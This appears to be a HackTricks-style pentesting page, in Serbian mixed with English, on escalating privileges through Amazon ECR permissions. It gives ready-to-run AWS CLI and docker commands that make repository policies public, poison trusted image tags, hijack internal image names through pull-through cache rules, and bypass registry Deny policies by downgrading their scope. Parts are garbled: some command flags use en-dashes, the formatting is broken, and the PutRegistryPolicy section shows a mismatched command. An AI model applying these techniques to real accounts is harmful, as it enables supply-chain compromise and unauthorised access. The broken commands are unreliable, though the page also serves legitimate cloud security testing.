AWS - ECR Privesc

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ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

Napadač koji ima ecr:GetAuthorizationToken i ecr:BatchGetImage može da se prijavi u ECR i preuzme image-ove.

For more info on how to download images:

AWS - ECR Post Exploitation

Potencijalni uticaj: Indirect privesc presretanjem osetljivih informacija u saobraćaju.

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

Napadač sa svim navedenim permisijama može da se prijavi u ECR i otpremi image-ove. Ovo može biti korisno za eskalaciju privilegija u druga okruženja u kojima se ti image-ovi koriste.

Pored toga, ecr:PutImage može biti iskorišćen za prepisivanje postojećeg taga (na primer stable / prod) tako što će se pod tim tagom otpremiti drugačiji image manifest, čime se efektivno preuzima kontrola nad deployment-ima zasnovanim na tagu.

Ovo postaje posebno ozbiljno kada downstream korisnici deploy-uju po tagu i automatski osvežavaju pri promeni taga, kao što su:

  • Lambda container image functions (PackageType=Image) koji referenciraju .../repo:stable
  • ECS services / Kubernetes workloads koji povlače repo:prod (bez digest pinovanja)
  • Bilo koji CI/CD koji redeploy-uje na ECR događaje

U tim slučajevima, prepisivanje taga može dovesti do remote code execution u okolišu potrošača i eskalacije privilegija na IAM rolu koju koristi taj workload (na primer, Lambda execution role sa secretsmanager:GetSecretValue).

To learn how to upload a new image/update one, check:

AWS - EKS Enum

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

Isto kao u prethodnom odeljku, ali za javne repozitorijume.

ecr:SetRepositoryPolicy

Napadač sa ovom permisijom može promeniti politiku repozitorijuma kako bi sebi (ili čak svima) dodelio pristup za čitanje/pisanje.
Na primer, u ovom primeru read pristup je dodeljen svima.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

Sadržaj datoteke my-policy.json:

{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "allow public pull",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

Kao u prethodnom odeljku, ali za javne repozitorijume.
Napadač može izmeniti politiku repozitorijuma ECR Public repozitorijuma kako bi dodelio neovlašćen javni pristup ili eskalirao svoje privilegije.

# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

Mogući uticaj: Neovlašćen javni pristup ECR Public repository, omogućavajući bilo kom korisniku da push, pull, ili delete images.

ecr:PutRegistryPolicy

Napadač sa ovom dozvolom mogao bi izmeniti registry policy kako bi sebi, svom nalogu (ili čak svima) dodelio read/write access.

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

ecr:CreatePullThroughCacheRule

Iskoristite ECR Pull Through Cache (PTC) pravila da mapirate napadačem kontrolisani upstream namespace na povereni privatni ECR prefiks. Ovo omogućava da workloads koji povlače sa privatnog ECR-a transparentno dobiju napadačke image-ove bez ikakvog push-a u privatni ECR.

  • Required perms: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. If using ECR Public upstream: ecr-public:* to create/push to the public repo.
  • Tested upstream: public.ecr.aws

Steps (example):

  1. Prepare attacker image in ECR Public

Get your ECR Public alias with: aws ecr-public describe-registries –region us-east-1

docker login public.ecr.aws/<public_alias> docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test . docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test

  1. Create the PTC rule in private ECR to map a trusted prefix to the public registry aws ecr create-pull-through-cache-rule –region us-east-2 –ecr-repository-prefix ptc –upstream-registry-url public.ecr.aws

  2. Pull the attacker image via the private ECR path (no push to private ECR was done) docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test docker run –rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test

Potential Impact: Kompromitacija lanca snabdevanja otimanjem unutrašnjih imena image-ova pod izabranim prefiksom. Bilo koji workload koji povlači image-ove iz privatnog ECR koristeći taj prefiks će dobiti sadržaj kontrolisan od strane napadača.

ecr:PutImageTagMutability

Iskoristite ovu dozvolu da promenite repozitorij sa tag immutability na mutable i prepišete poverene tag-ove (npr. latest, stable, prod) sadržajem koji kontroliše napadač.

  • Potrebne dozvole: ecr:PutImageTagMutability plus push capabilities (ecr:GetAuthorizationToken, ecr:InitiateLayerUpload, ecr:UploadLayerPart, ecr:CompleteLayerUpload, ecr:PutImage).
  • Impact: Kompromitacija lanca snabdevanja tihim zamenjivanjem nepromenljivih tag-ova bez promene imena taga.

Steps (example):

Zatrovati nepromenljivi tag promenom mutability ```bash REGION=us-east-1 REPO=ht-immutable-demo-$RANDOM aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE acct=$(aws sts get-caller-identity --query Account --output text) aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com # Build and push initial trusted tag printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Attempt overwrite while IMMUTABLE (should fail) printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Flip to MUTABLE and overwrite aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod # Validate consumers pulling by tag now get the poisoned image (prints V2) docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod ```

Globalni registar hijack putem ROOT Pull-Through Cache pravila

Kreirajte Pull-Through Cache (PTC) pravilo koristeći specijalni ecrRepositoryPrefix=ROOT da mapirate koren privatnog ECR registra na upstream javni registar (npr. ECR Public). Svaki pull ka nepostojećem repozitorijumu u privatnom registru biće transparentno poslužen sa upstream-a, omogućavajući supply-chain hijacking bez pushovanja u privatni ECR.

  • Potrebne dozvole: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule, ecr:GetAuthorizationToken.
  • Uticaj: Pull zahtevi ka <account>.dkr.ecr.<region>.amazonaws.com/<any-existing-upstream-path>:<tag> uspevaju i automatski kreiraju privatne repozitorijume preuzete iz upstream-a.

Napomena: Za ROOT pravila, izostavite --upstream-repository-prefix. Njegovo navođenje će izazvati grešku validacije.

Demo (us-east-1, upstream public.ecr.aws) ```bash REGION=us-east-1 ACCT=$(aws sts get-caller-identity --query Account --output text)

1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix)

aws ecr create-pull-through-cache-rule
–region “$REGION”
–ecr-repository-prefix ROOT
–upstream-registry-url public.ecr.aws

2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation)

aws ecr get-login-password –region “$REGION” | docker login –username AWS –password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com

Example using an official mirror path hosted in ECR Public

(public.ecr.aws/docker/library/alpine:latest)

docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest

3) Verify repo and image now exist without any push

aws ecr describe-repositories –region “$REGION”
–query “repositories[?repositoryName==docker/library/alpine]” aws ecr list-images –region “$REGION” –repository-name docker/library/alpine –filter tagStatus=TAGGED

4) Cleanup

aws ecr delete-pull-through-cache-rule –region “$REGION” –ecr-repository-prefix ROOT aws ecr delete-repository –region “$REGION” –repository-name docker/library/alpine –force || true

</details>

### `ecr:PutAccountSetting` (Smanjivanje `REGISTRY_POLICY_SCOPE` da biste zaobišli registry policy Deny)

Iskoristite `ecr:PutAccountSetting` da promenite opseg registry policy-ja sa `V2` (policy se primenjuje na sve ECR akcije) na `V1` (policy se primenjuje samo na `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Ako restriktivni registry policy Deny blokira akcije kao što je `CreatePullThroughCacheRule`, spuštanje na `V1` ukida to sprovođenje tako da Allow iz identity policy-ja stupaju na snagu.

- Potrebne dozvole: `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`.
- Uticaj: Mogućnost izvođenja ECR akcija koje je ranije blokirao registry policy Deny (npr. kreiranje PTC pravila) privremenim postavljanjem opsega na `V1`.

Koraci (primer):

<details>
<summary>Zaobiđite registry policy Deny na CreatePullThroughCacheRule prelaskom na V1</summary>
```bash
REGION=us-east-1
ACCT=$(aws sts get-caller-identity --query Account --output text)

# 0) Snapshot current scope/policy (for restore)
aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true
aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json

# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION
cat > /tmp/deny-ptc.json <<'JSON'
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenyPTCAll",
"Effect": "Deny",
"Principal": "*",
"Action": ["ecr:CreatePullThroughCacheRule"],
"Resource": "*"
}
]
}
JSON
aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION

# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny)
set +e
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws
RC=$?
set -e
if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi

# 3) Downgrade scope to V1 and retry (should SUCCEED now)
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION
aws ecr create-pull-through-cache-rule \
--region $REGION \
--ecr-repository-prefix ptc-deny-test \
--upstream-registry-url public.ecr.aws

# 4) Verify rule exists
aws ecr describe-pull-through-cache-rules --region $REGION \
--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']"

# 5) Cleanup and restore
aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true
if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then
jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt
aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt
else
aws ecr delete-registry-policy --region $REGION || true
fi
aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION

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